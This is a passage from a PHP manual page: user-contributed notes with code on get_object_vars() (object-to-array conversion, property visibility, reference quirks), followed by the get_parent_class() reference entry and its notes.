$new_arr2 = object_to_array_recusive($my_object,FALSE);

you can pre-set the Array-Value of Empty (Sub-) Objects in 3rd argument ($empty)
// --- eg: NULL --- object_to_array_recusive($my_object,1,NULL);
oom at oscarotero dot com 10-Oct-2013 06:37
You can use call_user_func() to return public variables from inside the class:

class Test {
    protected $protected;
    public $public;
    private $private;

    public function getPublicVars () {
        return call_user_func('get_object_vars', $this);
    }
}

$test = new Test();
var_dump($test->getPublicVars()); // array("public" => NULL)
jozef at mostka dot com 03-Sep-2013 03:59
class A{
    private $priA;
    protected $proA;
    public $pubA;
}

class B extends A{
    private $priB;
    protected $proB;
    public $pubB;

    public function getVars(){
        return array_diff_key(get_object_vars($this), get_class_vars(get_parent_class($this)));
    }
}
$b = new B();
var_dump($b->getVars());

array(3) {
  ["priB"]=>
  NULL
  ["proB"]=>
  NULL
  ["pubB"]=>
  NULL
}
kuko at webperfection dot net 16-Apr-2013 08:09
get_object_vars($this)
php5.3 + it returns only public and protected; NOT private vars
@chozilla 11-Feb-2013 09:35
A simple way to call this function within an Object and to only export the *public* params would be to artificially change the scope - for example with a closure in php 5.3:

<?php
class Example
{
    public $publicSetting = 'public';
    protected $protectedSetting = 'protected';
    private $privateSetting = 'private';

    public function showEverything()
    {
        return get_object_vars($this);
    }

    public function showMyPublicsOnly()
    {
        $me = $this;
        $publics = function() use ($me) {
            return get_object_vars($me);
        };
        return $publics();
    }
}
?>
Fabien Haddadi 30-May-2012 06:42
It seems like there's no function that determines all the *static* variables of a class.

I've come out with this one as I needed it in a project:

<?php
function get_class_static_vars($object) {
     return array_diff(get_class_vars(get_class($object)), get_object_vars($object));
}
?>

It relies on an interesting property: the fact that get_object_vars only returns the non-static variables of an object.
Dionisiy 20-Apr-2012 03:21
Note that before PHP 5.3.9 numeric object variables of unserialized object are not public, and get_object_vars() won't return them:
https://bugs.php.net/bug.php?id=61774
elminster2031 at hotmail dot com 07-Jul-2010 09:30
Also note that this is recursive. For example:

<?php
class Sarah{

    private $Father;
    private $Mother;

    public function __construct(){
        $this->Father    =    NULL; //I don't know Sarah's Father
        $this->Mother    =    NULL; //I don't know Sarah's Mother
    }
}
class John_Connor{

    private $Father;
    private $Mother;

    public function __construct(){
        $this->Father    =    $this; //John went back in time and fathered himself
        $this->Mother    =    new Sarah(); //Sarah was his mom and his mate ewww
    }

    public function showParents(){
        return get_object_vars($this);
    }
}

$John    =    new John_Connor();
var_dump($John->showParents());
?>

You will see this outputs:

array(2) {
  ["Father"]=>
  object(John_Connor)#1 (2) {
    ["Father":"John_Connor":private]=>
    object(John_Connor)#1 (2) {
      ["Father":"John_Connor":private]=>
      *RECURSION*
      ["Mother":"John_Connor":private]=>
      object(Sarah)#2 (2) {
        ["Father":"Sarah":private]=>
        NULL
        ["Mother":"Sarah":private]=>
        NULL
      }
    }
    ["Mother":"John_Connor":private]=>
    object(Sarah)#2 (2) {
      ["Father":"Sarah":private]=>
      NULL
      ["Mother":"Sarah":private]=>
      NULL
    }
  }
  ["Mother"]=>
  object(Sarah)#2 (2) {
    ["Father":"Sarah":private]=>
    NULL
    ["Mother":"Sarah":private]=>
    NULL
  }
}
benny at nospam dot com 26-Dec-2009 10:31
Be aware of the fact that this is scope-sensitive. If you're calling this from an objects own method, then private and protected vars will be outputted as well. Call it from outside the object and the result will most likely be what you want to archive.
huzursuz at mailinator dot com 02-Feb-2009 05:44
better version of conv_obj, based on XML... this converts XML to an array... use it by

<?php
$result = xmlobj2arr(simplexml_load_string($xmlContent));

function xmlobj2arr($Data) {
       if (is_object($Data)) {
               foreach (get_object_vars($Data) as $key => $val) {
                       $ret[$key] = xmlobj2arr($val);
               }
               return $ret;
       } elseif (is_array($Data)) {
               foreach ($Data as $key => $val) {
                       $ret[$key] = xmlobj2arr($val);
               }
               return $ret;
       } else {
               return $Data;
       }
}
?>
jon at websandbox dot net 06-Jul-2008 06:00
If you're using the SPL ArrayObject class (or similar, or the ArrayAccess interface), you may have noticed that it's difficult to loop through an object's properties.

get_object_vars does not return the properties of an ArrayObject.  The only workaround I can see is to use get_class_vars.

<?php
$obj = new ArrayObject();
$obj->foo = "bar";
$obj[] = "1";
$obj[] = "2";
foreach($obj as $key => $value) {
 // will iterate over the array, iterating over "1" and "2", but ignoring $obj->foo
}

var_dump($obj); // dumps the array values, ignores $obj->foo

$a = get_object_vars($obj); // returns an empty array

class Fart extends ArrayObject {
    public $foo = "bar";
}

$obj = new Fart();
$a = get_object_vars($obj); // return an empty array
$a = get_class_vars(get_class($obj)); // returns array("foo"=>"bar"), Yay!

/* The above works with subclasses as well */
class Toot extends Fart {
    public $weeble = "wobble";
}

$a = get_class_vars(get_class($obj));
// returns array("weeble" => "wobble", "foo"=>"bar"), Yay again!

?>

So, to iterate over the properties of an ArrayObject, and not the array values:

<?php

$obj = new Toot(); // which is a subclass of ArrayObject
$props = get_class_vars(get_class($obj));
foreach($props as $prop => $defaultValue) {
  $value = $obj->$prop; // now you have the property name and  its value
}

?>
pardini at gmail dot com 09-May-2008 01:38
get_object_vars() has confusing behaviour when called as get_object_vars($this) or similar: since a method inside a class definition can access private vars, apparently so can get_object_vars(), so it returns private vars as well.

A simple workaround is to define a method that in itself calls get_object_vars, like:

<?php
function getPublicObjectVars($obj) {
  return get_object_vars($obj);
}

class Smth {
  private $notShown = 1;
  public $shown = 2;

  function test() {
    $vars = get_object_vars($this); // includes 'notShown'
    $vars = getPublicObjectVars($this); // only 'shown'
  }

}
?>
biga888 AT gmail 19-Nov-2007 09:48
Just thought I would pass this on.

Working with PHP 5.2.4

In Windows this works by reading the vars from the passed in object and copying them to the vars of the current object.

    public function copyMe(User $user) {
        $varArray = get_object_vars($this);
        $copyVarArray = get_object_vars($user);
        foreach ($varArray as $key=>$value) {
            $this->$key = $copyVarArray[$key];
        }
    }

This did not work in Linux, I had to add another function to return the array of vars. Calling get_array_vars on the passed in object would return an empty array.

        public function copyMe(User $user) {
        $varArray = $this->getArray();
        $copyVarArray = $user->getArray();
        foreach ($varArray as $key=>$value) {
            $this->$key = $copyVarArray[$key];
        }
    }

    public function getArray() {
        return get_object_vars($this);
    }
firemouth at gmail dot com 10-Sep-2007 03:48
This is a slight modification of the previous poster's function.  We ran into a problem using this function when we had a JS array nested inside a JS hash.

Something like this...

myHash = new Hash();
myHash[address] = new Array();

When we threw that at this function, it found the first hash as an object, and then using the previous poster's function, it did not consider the array as an "object."  Instead it gave us a std_object type and we were unable to make any use of it.

The modification we made was adding a check for is_array inside both the is_object and is_array checks when you call the function.  This checks for an array inside either an object or a nested array.

function conv_obj($Data){
    if(is_object($Data)){

        foreach(get_object_vars($Data) as $key=>$val){
            if(is_object($val) || is_array($val)){
                $ret[$key]=conv_obj($val);
            }else{
                $ret[$key]=$val;
            }
        }
        return $ret;
    }elseif(is_array($Data)){
        foreach($Data as $key=>$val){
            if(is_object($val) || is_array($val)){
                $ret[$key]=conv_obj($val);
            }else{
                $ret[$key]=$val;
            }
        }
        return $ret;
    }else{
        return $Data;
    }
}
C.H. 15-Aug-2007 03:03
function conv_obj($Data){
     if(is_object($Data)){
         foreach(get_object_vars($Data) as $key=>$val){
             if(is_object($val)){
                 $ret[$key]=conv_obj($val);
             }else{
                 $ret[$key]=$val;
             }
         }
         return $ret;
     }elseif(is_array($Data)){
         foreach($Data as $key=>$val){
             if(is_object($val)){
                 $ret[$key]=conv_obj($val);
             }else{
                 $ret[$key]=$val;
             }
         }
         return $ret;
     }else{
         return $Data;
     }
 }

Very simple function to convert any Subobject to an array.
Created it while working with Soap.
For me as an beginner with PHP, very useful :o)
thinice at gmail dot com 13-Aug-2007 07:46
To add to my previous comment - the error message should have meant same structure.

As my implementation called for cross-class comparison.
Maikel 24-May-2007 08:13
To follow the code of d11wtq (enquiries AT chriscorbyn.co.uk). I did this function to inspect all properties(public, private, protected) of object.

<?php
header("content-type: text/plain");

// Classes to test!
class OtherClass
{
    private $privateVarOtherClass = 11;
}

class MyClass extends OtherClass
{
    protected $protectedVar = "some";
    public $publicVar = "nk";
    private $privateVar = "algo";
    var $oldStyle;
}

// Dangerous function
function get_properties($obj, $values=false)
{
    $obj_dump  = print_r($obj, 1);
    $matches =  array();
    preg_match_all('/^\s+\[(\w+).*\] => (\w*)/m', $obj_dump, $matches);
    if ($values)
    {
        $output = array();
        foreach ($matches[1] as $key => $property)
        {
            $output[$property] = $matches[2][$key];
        }
        return $output;
    }
    else
    {
        return $matches[1];
    }
}

$instance = new MyClass();

echo "Properties\n";
print_r(get_properties($instance));

echo "Properties and values\n";
print_r(get_properties($instance, true));

?>

Note: remember that static properties are not visible to the object. By that not supported to them
thiago dot henrique dot mata at gmail dot com 21-Feb-2007 08:23
<?php
# How to make a function change the private attributes
# from some object without use serialize functions or
# lose the control of the changes.

/**
 * Parent Class to allow the change of privates attributes
 * Look the abstract function __setAttribute.
 *
 * @author Renan de Lima ( renandelima@gmail.com )
 * @author Thiago Mata ( thiago.henrique.mata@gmail.com )
 * @date 2007-02-21
 */
abstract class father
{
    /**
     * Receive the Aray and try to change the attribute value
     *
     * @param array $arrNewValues
     */
    public function __fromDatabase( $arrNewValues )
    {
        $arrToSet = array_intersect_key( $arrNewValues, get_object_vars( $this ) );
        foreach( $arrToSet as $strAttribute => $mixValue )
        {
            $this->__setAttribute( $strAttribute , $mixValue );
        }
    }

    /**
     * Required method to control the attributes of class
     * @param string $strAttribute
     * @param unknown $mixValue
     */
    abstract protected function __setAttribute( $strAttribute, $mixValue );

}

/**
 * Just a example of a child class using the functionality
 *
 * Note: if you don't wanna to allow the change of some attribute
 * by this method you can just make more complex the __setAttribute function.
 *
 * @author Renan de Lima ( renandelima@gmail.com )
 * @author Thiago Mata ( thiago.henrique.mata@gmail.com )
 * @date 2007-02-21
 */
class son extends father
{

    private $atr = 9;

    /**
     * This is the most simple implementation of the method.
     * This way it's allowed to the parent class change any attribute
     * @param string $strAttribute
     * @param unknown $mixValue
     */
    protected function __setAttribute( $strAttribute, $mixValue )
    {
        $this->{ $strAttribute } = $mixValue;
    }

}

$objSon = new son();
$objSon->__fromDatabase( array( 'atr' => 55 ) );
var_dump( $objSon );
?>
ananda dot putra at gmail dot com 01-Mar-2006 12:49
Hi all, I just wrote a function which dumps all the object propreties and its associations recursively into an array. Here it is..
<?php
function object_to_array($obj) {
        $_arr = is_object($obj) ? get_object_vars($obj) : $obj;
        foreach ($_arr as $key => $val) {
                $val = (is_array($val) || is_object($val)) ? object_to_array($val) : $val;
                $arr[$key] = $val;
        }
        return $arr;
}
?>

Example:
You have an object like this:
fruitsbasket Object
(
    [Fruits] => Array
        (
            [0] => fruits Object
                (
                    [_name] => Mango
                    [_color] => Green
                    [_weight] => 10
                )

            [1] => fruits Object
                (
                    [_name] => Apple
                    [_color] => Red
                    [_weight] => 15
                )

            [2] => fruits Object
                (
                    [_name] => Grape
                    [_color] => Purple
                    [_weight] => 5
                )

        )

    [total_weight] => 30
)

just do:
<?php
$the_array = object_to_array($the_object);
print_r($the_array);
?>

it will produce an array:
Array
(
    [Fruits] => Array
        (
            [0] => Array
                (
                    [_name] => Mango
                    [_color] => Green
                    [_weight] => 10
                )

            [1] => Array
                (
                    [_name] => Apple
                    [_color] => Red
                    [_weight] => 15
                )

            [2] => Array
                (
                    [_name] => Grape
                    [_color] => Purple
                    [_weight] => 5
                )

        )

    [total_weight] => 30
)

I wish function like this could be usefull for you all. :)
support at sascha minus diebel dot de 23-Dec-2005 11:55
Note that get_object_vars() returns the variables of the object not the class. You need to know if your class is extended from a parent class.
d11wtq (enquiries AT chriscorbyn.co.uk) 17-Nov-2005 12:40
Since there's no apparent means of obtaining all the *private* properties in an object I wrote a little function to do it.  Built in support would be much more efficient since mine uses a preg_  search to do this....

<?php

function get_private_properties($obj, $inside=false)
{
    $obj_dump  = print_r($obj, 1);
    preg_match_all('/^\s+\[(\w+):private\]/m', $obj_dump, $matches);
    if ($inside)
    {
        $output = array();
        foreach ($matches[1] as $property)
        {
            $output[$property] = $obj->$property;
            return $output;
        }
    }
    else return $matches[1];
}

?>

So if you run it with the optional second paramter missing you'll just get an array of the variable names that are private inside the class.  This is the only option if you are not inside the actual object and the object has no private properties inherited.

If you run it with the second parameter set to true you will get an associative array with the properties and their corresponding values.  I'd only advise to do that for singletons since you may get errors if there are any private properites in parents/children.
pascal dot poncet at netconsult dot com 13-Oct-2005 04:20
Subject: using "sql_calc_found_rows" in a MySQL query while exploiting result in a PHP db class object.

Hello,

There is a nice function in MySQL that allows to know how many records would have been returned if no "where" clause were set : SQL_CALC_FOUND_ROWS.

If you have create a db object to collect the returned lines, you will be a little perplex when trying to call the result of this function.

Why ?
Simply because the returned field's name is "found_rows()" and obviously it's not possible to call something like :

<?php $result->found_rows() ?>

...as it will try to acces a method, not a property !

Then, the only way to get the right result seems to be the use of a class function, like :

<?php
  $db->query("select found_rows()");
  $count=current(get_object_vars(current($db->result)));
?>

Of course, if somebody found an other way to solve it, like a special syntax (see the one used with curled arrays in a string), I'm really open to discuss.

Good luck,
Pascal
Marc 23-Aug-2005 03:08
If you want to access all properties (private, protected, public) of a class and his base class(es) from outside the object you can take a look in the code below.
You can even reffrence them.

Example:
<?php

// Dummy class to act as parent class.
class Dummy
{
    private        $d1 = 1;
    protected    $d2 = 2;
    public        $d3 = 3;
}

// The class to test on.
class Test extends Dummy
{
    private        $t1 = 11;
    protected    $t2 = 12;
    public        $t3 = 13;
}

// Instance of the test class.
$test =& new Test();

// The propertynames of the test class and his parent.
$nameD1 = "\0Dummy\0d1";    // class Dummy, private      $d1
$nameD2 = "\0*\0d2";        // class Dummy, protected $d2
$nameD3 = "d3";            // class Dummy, public    $d3

$nameT1 = "\0Test\0t1";        // class Test,  private      $t1
$nameT2 = "\0*\0t2";        // class Test,  protected $t2
$nameT3 = "t3";            // class Test,  public    $t3

// Printing all members (private, protected, public) of test class and parent.
// These are the values at construction.
print("Original object:\n");
print("\t\$d1 = ".$test->$nameD1."\n");
print("\t\$d2 = ".$test->$nameD2."\n");
print("\t\$d3 = ".$test->$nameD3."\n");
print("\t\$t1 = ".$test->$nameT1."\n");
print("\t\$t2 = ".$test->$nameT2."\n");
print("\t\$t3 = ".$test->$nameT3."\n");
print("\n");

// Create new values to use as reffrence.
$varD1 = 31;
$varD2 = 32;
$varD3 = 33;

$varT1 = 41;
$varT2 = 42;
$varT3 = 43;

// Reffrence these to the class properties.
$test->$nameD1 =& $varD1;
$test->$nameD2 =& $varD2;
$test->$nameD3 =& $varD3;

$test->$nameT1 =& $varT1;
$test->$nameT2 =& $varT2;
$test->$nameT3 =& $varT3;

// Printing all members (private, protected, public) of test class and parent.
// The values have changed by assigning reffrence to them.
print("Object Changed by reffrence (1):\n");
print("\t\$d1 = ".$test->$nameD1."\n");
print("\t\$d2 = ".$test->$nameD2."\n");
print("\t\$d3 = ".$test->$nameD3."\n");
print("\t\$t1 = ".$test->$nameT1."\n");
print("\t\$t2 = ".$test->$nameT2."\n");
print("\t\$t3 = ".$test->$nameT3."\n");
print("\n");

// Change the original values.
// This will change the class properties.
$varD1 = 61;
$varD1 = 62;
$varD1 = 63;

$varT1 = 71;
$varT1 = 72;
$varT1 = 73;

// Printing all members (private, protected, public) of test class and parent.
// The values have changed because the variables $varXX have been changed.
print("Object Changed by reffrence (2):\n");
print("\t\$d1 = ".$test->$nameD1."\n");
print("\t\$d2 = ".$test->$nameD2."\n");
print("\t\$d3 = ".$test->$nameD3."\n");
print("\t\$t1 = ".$test->$nameT1."\n");
print("\t\$t2 = ".$test->$nameT2."\n");
print("\t\$t3 = ".$test->$nameT3."\n");
print("\n");

// Printing the object using print_r() shows the changes
// have been done on the object.
print("Object Changed (print_r):\n");
print_r($test);
print("\n");

// If you dont now the class propertynames you can get these by casting the
// object to an array. The array keys are the names
$prop = array_keys((array) $test);
print("Getting all class propertynames (print_r)\n");
print_r($prop);

//Result
/*

Original object:
    $d1 = 1
    $d2 = 2
    $d3 = 3
    $t1 = 11
    $t2 = 12
    $t3 = 13

Object Changed by reffrence (1):
    $d1 = 31
    $d2 = 32
    $d3 = 33
    $t1 = 41
    $t2 = 42
    $t3 = 43

Object Changed by reffrence (2):
    $d1 = 63
    $d2 = 32
    $d3 = 33
    $t1 = 73
    $t2 = 42
    $t3 = 43

Object Changed (print_r):
Test Object
(
    [t1:private] => 73
    [t2:protected] => 42
    [t3] => 43
    [d1:private] => 63
    [d2:protected] => 32
    [d3] => 33
)

Getting all class propertynames (print_r)
Array
(
    [0] => Test

*/

?>
stachnik at gmail dot com 02-Aug-2005 06:00
In PHP5 to get an array with all properties (even the private ones) all you have to do is write a public method that returns an array for your class:

public function getArray()
{
  return get_object_vars($this);
}

and then

$myBeautifulArray = $myBeautifulObject->getArray ();

Have BEAUTIFUL day :)
fmmarzoa at librexpresion dot org 02-Nov-2004 08:53
You can still cast the object to an array to get all its members and see its visibility. Example:

<?php

class Potatoe {
    public $skin;
    protected $meat;
    private $roots;

    function __construct ( $s, $m, $r ) {
        $this->skin = $s;
        $this->meat = $m;
        $this->roots = $r;
    }
}

$Obj = new Potatoe ( 1, 2, 3 );

echo "<pre>\n";
echo "Using get_object_vars:\n";

$vars = get_object_vars ( $Obj );
print_r ( $vars );

echo "\n\nUsing array cast:\n";

$Arr = (array)$Obj;
print_r ( $Arr );

?>

This will returns:

Using get_object_vars:
Array
(
    [skin] => 1
)

Using array cast:
Array
(
    [skin] => 1
    [ * meat] => 2
    [ Potatoe roots] => 3
)

As you can see, you can obtain the visibility for each member from this cast. That which seems to be spaces into array keys are '\0' characters, so the general rule to parse keys seems to be:

Public members: member_name
Protected memebers: \0*\0member_name
Private members: \0Class_name\0member_name

I've wroten a obj2array function that creates entries without visibility for each key, so you can handle them into the array as it were within the object:

<?php

function obj2array ( &$Instance ) {
    $clone = (array) $Instance;
    $rtn = array ();
    $rtn['___SOURCE_KEYS_'] = $clone;

    while ( list ($key, $value) = each ($clone) ) {
        $aux = explode ("\0", $key);
        $newkey = $aux[count($aux)-1];
        $rtn[$newkey] = &$rtn['___SOURCE_KEYS_'][$key];
    }

    return $rtn;
}

?>

I've created also a <i>bless</i> function that works similar to Perl's bless, so you can further recast the array converting it in an object of an specific class:

<?php

function bless ( &$Instance, $Class ) {
    if ( ! (is_array ($Instance) ) ) {
        return NULL;
    }

    // First get source keys if available
    if ( isset ($Instance['___SOURCE_KEYS_'])) {
        $Instance = $Instance['___SOURCE_KEYS_'];
    }

    // Get serialization data from array
    $serdata = serialize ( $Instance );

    list ($array_params, $array_elems) = explode ('{', $serdata, 2);
    list ($array_tag, $array_count) = explode (':', $array_params, 3 );
    $serdata = "O:".strlen ($Class).":\"$Class\":$array_count:{".$array_elems;

    $Instance = unserialize ( $serdata );
    return $Instance;
}
?>

With these ones you can do things like:

<?php

define("SFCMS_DIR", dirname(__FILE__)."/..");
require_once (SFCMS_DIR."/Misc/bless.php");

class Potatoe {
    public $skin;
    protected $meat;
    private $roots;

    function __construct ( $s, $m, $r ) {
        $this->skin = $s;
        $this->meat = $m;
        $this->roots = $r;
    }

    function PrintAll () {
        echo "skin = ".$this->skin."\n";
        echo "meat = ".$this->meat."\n";
        echo "roots = ".$this->roots."\n";
    }
}

$Obj = new Potatoe ( 1, 2, 3 );

echo "<pre>\n";
echo "Using get_object_vars:\n";

$vars = get_object_vars ( $Obj );
print_r ( $vars );

echo "\n\nUsing obj2array func:\n";

$Arr = obj2array($Obj);
print_r ( $Arr );

echo "\n\nSetting all members to 0.\n";
$Arr['skin']=0;
$Arr['meat']=0;
$Arr['roots']=0;

echo "Converting the array into an instance of the original class.\n";
bless ( $Arr, Potatoe );

if ( is_object ($Arr) ) {
    echo "\$Arr is now an object.\n";
    if ( $Arr instanceof Potatoe ) {
        echo "\$Arr is an instance of Potatoe class.\n";
    }
}

$Arr->PrintAll();

?>
27-Oct-2004 05:02
actually, it's not entirely true that php5 will only return public members....php5 will return any variable IT HAS ACCESS TO

In other words, if you do a get_class_variables($this) inside a class, you'll get everything - public, private, the whole shebang...really annoying since you can't check to see what's private/public without using reflection
manicdepressive AT mindless DOT com 06-Mar-2004 04:57
more strange, strange behaviour:

if you are trying to deep-copy an object with get_object_vars(), strange behaviour can accidentally clobber your original object properties.  please read very, very carefully:

get_object_vars() may either return references to *or* deep copies of the object's properties *depending on whether that property has been set with the -> operator*.   (this behaviour probably varies per php platform and os so please confirm for yourself.)

furthermore, consider
  $properties = get_object_vars($obj);
normally, unset()ting a reference does not affect the original, i.e. $ref = NULL; is not the same as unset($ref); per the references documentation.  However, if you have this strange references version and you unset() an array element of $properties, it will *SET THE OBJECT PROPERTY TO NULL*, which is not how references normally work.

even stranger behaviour comes into effect that i can only express with an example.  please test this with your version and OS and proceed very carefully:
-->
<?php
echo "<pre>\n";

class Lump
{
   var $size = 'average';

   function & copy()
   {  // return a deep copy
      $copy = new Lump();
      $properties = get_object_vars($this);
      foreach( array_keys( $properties ) as $property ){
         $copy->$property = $properties[$property];  // deep, right?
      }
      return $copy;
   }

}

$lump = new Lump();

$lump->size = 'huge';  // <--- this line changes everything
// comment above line out, and see the difference
// also, try substituting another property for 'size'

$properties = get_object_vars($lump);
$properties['size'] = 'small'; // this behavior varies

echo "after changing the properties array:\n";
var_dump( $lump );
// it's either big or small (never huge) depending on
// whether you commented-out the indicated line

//------------- let's try using our copy() method

$original_lump = new Lump();
$original_lump->size = 'huge'; // this line changes the behaviour
$other_lump =& $original_lump->copy();
unset( $other_lump->size );
echo "after unsetting in copy:\n";
var_dump( $original_lump ); // i'm afraid so -- original value clobbered !

echo "</pre>\n";
?>
code till dawn,
   mark meves
christopher AT NOSPAM AT idealab DOT com 31-Dec-2003 12:12
Hmmm.  A bit embarassing...

It turns out the best way to get references to all of your objects member variables is NOT with the functions I provided before, or with get_object_vars.

Just cast the object to array.

$a=(array)$obj;

# The two following statements are now equivalent and identical
$a["member"]=3;
$obj->member=3;

A very powerful tool, for inspectors and what not.
christopher AT NOSPAM AT idealab DOT com 23-Dec-2003 09:49
Please note that you cannot affect the object via the array values...in other words, the returned array does not contain references to the values within the object, but copies.

If you are making an object inspector or editor, this is not good enough.  So I made the following methods:

METHODS:

function &getVar($obj, $name)
{
        $expr="\$prop=&\$obj->$name;";
        eval($expr);
        return $prop;
}

function &getObjectVars($obj)
{
        $result=array();
        $vars=get_object_vars($obj);
        foreach ($vars as $var => $value)
        {
                $result[$var]=&getVar(&$obj, $var);
        }
        return $result;
}

[NOTE:  You must pass in a reference to an object, not an object.  Sorry if this  offends PHP'ers, but the distinction of pass-by-value and copy-on-assignment drives me batty (compared to Python, Java, Smalltalk), so I make all my functions pass by value, and force myself to pass in a reference to keep track of what is happening under the hood.]

EXAMPLE:

class Bob
{
        function Bob()
        {
                $this->thing=13;
                $this->other="whatever";
        }

        var $thing;
        var $other;
}

$obj=&new Bob();

# NOTE:  Passing in a reference!
$props=getObjectVars(&$obj);
$props["thing"]=-11;

var_dump($obj);

RESULTS:

object(bob)(2) {
  ["thing"]=>
  &int(-11)
  ["other"]=>
  &string(8) "whatever"
}
jordi at laigu dot net 06-Nov-2003 02:21
In case your object contains again OBJECTS or ARRAYS:

function makeAssoc($res) {
  if (is_object($res)) $res = get_object_vars($res);
  while (list($key, $value) = each($res)) {
    if (is_object($value) || is_array($value)) {
      $res[$key] = makeAssoc($value);
    }
  }
  return $res;
}

Thanks to mark at dreamzpace dot com
markus at emedia-solutions-wolf dot de 06-Mar-2003 09:01
Hi,

I figured out that in prior version to 4.2 the returned array only contains attributes directly in this class, excluding the derived ones from parentclasses.
info at phpken dot de 22-Nov-2002 03:34
hello,

this example will look like all values of vars was set in your class. write a method like the name: dumpClass and then fill in follow code:

$vars = get_object_vars($this);

echo "<b>class vars</b>";

foreach( $vars as $name => $value ) {
    echo "<li>".$name." : ".$value;
}

look at: get_object_vars($this);

andreas v.l
mark at dreamzpace dot com 13-Sep-2002 07:44
In case your object contains again objects (and so on), this function might be useful:

function makeAssoc($res) {
  $res = get_object_vars($res);
  while (list($key, $value) = each($res)) {
    if (is_object($value)) {
      $res[$key] = makeAssoc($value);
    }
  }
  return $res;
}
nick_eby at bonzidev dot com 09-Jul-2002 09:13
Furthermore, variables not declared in the class but set on a given object, will be returned by get_object_vars().

Example, ver. 4.2.1:
<?
class MyTest {
        var $classVar1 = 'Class Var 1';
        var $classVar2;
        var $classVar3;

        function MyTest()
        {
                $this->classVar2 = 'class var 2';
        }
}

$test = new MyTest();
// This var isn't declared in the class
$test->newObjVar = 'foobar';

echo "<pre>";
print_r(get_object_vars($test));
echo "</pre>";
?>

The output is:
Array
(

    [classVar1] => Class Var 1
    [classVar2] => class var 2
    [classVar3] =>
    [newObjVar] => foobar
)

Prior to version 4.2, classVar3 would not be output as it was never assigned a value.
michael at tapinternet dot com 14-Jun-2002 12:32
It seems that get_object_vars will now return properties of an object even if they have no value  - meaning only defined by var $foo in the class declaration.  This is noted behaviour in 4.2.1 which is different from previous versions and hitherto undocumented on this page.
florian at XCLUDETHISgsf dot de 29-Jan-2002 07:02
There is a strange behaviour, not sure whether it is a bug:

if I call
<?
$single_object = $data_array_of_objects[0];
$array_of_objectvars = get_object_vars($single_object);
     foreach($array_of_objectvars as $key => $val) {
     echo(" $key => $val<br>");
     }
?>
I get only _ONE_ line with the $key = first variable name of the object and $val = the values of _ALL_ variables of the object including the first separated by a space.

NOW:
if I call
<?
$single_object = $data_array_of_objects[0];
$array_of_objectvars = get_object_vars($single_object);
     foreach($array_of_objectvars as $key => $val) {
     echo(" $key => $val<br>");
     }
     echo($data_array_of_objects[0]->objectvar1."<br>");
     echo($data_array_of_objects[0]->objectvar2."<br>");
?>

I get a list of $key = $ val as expected, before the other echos' are printed.
It seems to me that get_object_vars works differently when you access a variable in those objects explicitly (as in the echos)


Retrieves the parent class name for object or class

  • « get_object_vars
  • interface_exists »
  • PHP Manual
  • Classes/Object Functions
  • Retrieves the parent class name for object or class

get_parent_class

(PHP 4, PHP 5)

get_parent_class — Retrieves the parent class name for object or class

Description

string get_parent_class ([ mixed $object ] )

Retrieves the parent class name for object or class.

Parameters

object

The tested object or class name. This parameter is optional if called from the object's method.

Return Values

Returns the name of the parent class of the class of which object is an instance or the name.

Note:

If the object does not have a parent or the class given does not exist FALSE will be returned.

If called without parameter outside object, this function returns FALSE.

Changelog

Version | Description
5.1.0 | If called without parameter outside object, this function would have returned NULL with a warning, but now returns FALSE.

Examples

Example #1 Using get_parent_class()

<?php

class dad {
    function dad()
    {
    // implements some logic
    }
}

class child extends dad {
    function child()
    {
        echo "I'm " , get_parent_class($this) , "'s son\n";
    }
}

class child2 extends dad {
    function child2()
    {
        echo "I'm " , get_parent_class('child2') , "'s son too\n";
    }
}

$foo = new child();
$bar = new child2();

?>

The above example will output:

I'm dad's son
I'm dad's son too

See Also

  • get_class() - Returns the name of the class of an object
  • is_subclass_of() - Checks if the object has this class as one of its parents

User Contributed Notes

falundir at gmail dot com 13-Apr-2012 07:27
You can use this function to find common parent of multiple objects or classes.

<?php
/**
 * Returns name of the first (in class hierarchy) common parent class of all provided objects or classes.
 * Returns FALSE when common class is not found.
 *
 * @param mixed $objects Array that can contain objects or class names.
 * @return mixed
 */
function get_first_common_parent($objects) {
    $common_ancestors = null;
    foreach($objects as $object) {
        if (is_object($object)) {
            $class_name = get_class($object);
        } else {
            $class_name = $object;
        }

        $parent_class_names = array();
        $parent_class_name = $class_name;
        do {
            $parent_class_names[] = $parent_class_name;
        } while($parent_class_name = get_parent_class($parent_class_name));

        if ($common_ancestors === null) {
            $common_ancestors = $parent_class_names;
        } else {
            $common_ancestors = array_intersect($common_ancestors, $parent_class_names);
        }
    }

    return reset($common_ancestors);
}
?>

Example:

<?php
class A {
}

    class B extends A {
    }

        class D extends B {
        }

        class E extends B {
        }

    class C extends A {
    }

        class F extends C {
        }

            class G extends F {
            }

class H {
}

//returns "A"
get_first_common_parent(array('G', 'E'));

//returns "F"
get_first_common_parent(array(new G(), 'F'));

//returns false (no common parent)
get_first_common_parent(array('C', 'H'));

//returns false (non-existent class provided)
get_first_common_parent(array(new B(), 'X'));
?>
levu 20-Apr-2011 05:36
I wrote a simple function doing the reverse thing: get the children:

<?php
function get_child($instance, $classname) {
    $class = $classname;
    $t = get_class($instance);
    while (($p = get_parent_class($t)) !== false) {
        if ($p == $class) {
            return $t;
        }
        $t = $p;
    }
    return false;
}

abstract class A {
    function someFunction() {
        return get_child($this, __CLASS__);
    }
}

class B extends A {

}

class C extends B {

}

$c = new C();
echo $c->someFunction(); //displays B

?>
michael at getsprink dot -- com 09-Apr-2009 09:28
This little snippet to get the inheritance tree might be useful to someone.

<?php

header("Content-Type: text/plain;");

class Top {
  public function getParents($class=null, $plist=array()) {
    $class = $class ? $class : $this;
    $parent = get_parent_class($class);
    if($parent) {
      $plist[] = $parent;
      /*Do not use $this. Use 'self' here instead, or you
       * will get an infinite loop. */
      $plist = self::getParents($parent, $plist);
    }
    return $plist;
  }
}

class Middle extends Top {

}

class Bottom extends Middle {

}

$o = new Bottom();
print_r($o->getParents());

?>
ssb45 at cornell dot edu 14-May-2008 05:32
"'If called without parameter outside object' What on earth does that mean?"

There are two places this could be called:
1. From within a member function of an object.  In this case, it may be called with no parameters and will return the parent class of the object owning the member function.  (If the parameter is included, then it will return the parent class of the specified class as normal.)

2. From outside an object (i.e., global or function scope).  In this case, PHP doesn't know what class you're talking about if you don't include a parameter, so it returns FALSE.  (But, of course, it works if you specify the class with the parameter.)
marcus at synchromedia dot co dot uk 16-Apr-2008 06:08
"If called without parameter outside object" What on earth does that mean?

What I can tell you, and that is not documented, is that if the object in question does not have an explicitly declared parent class, it does return boolean false. It doesn't for example return 'stdClass' on the basis that all objects are derived from that.
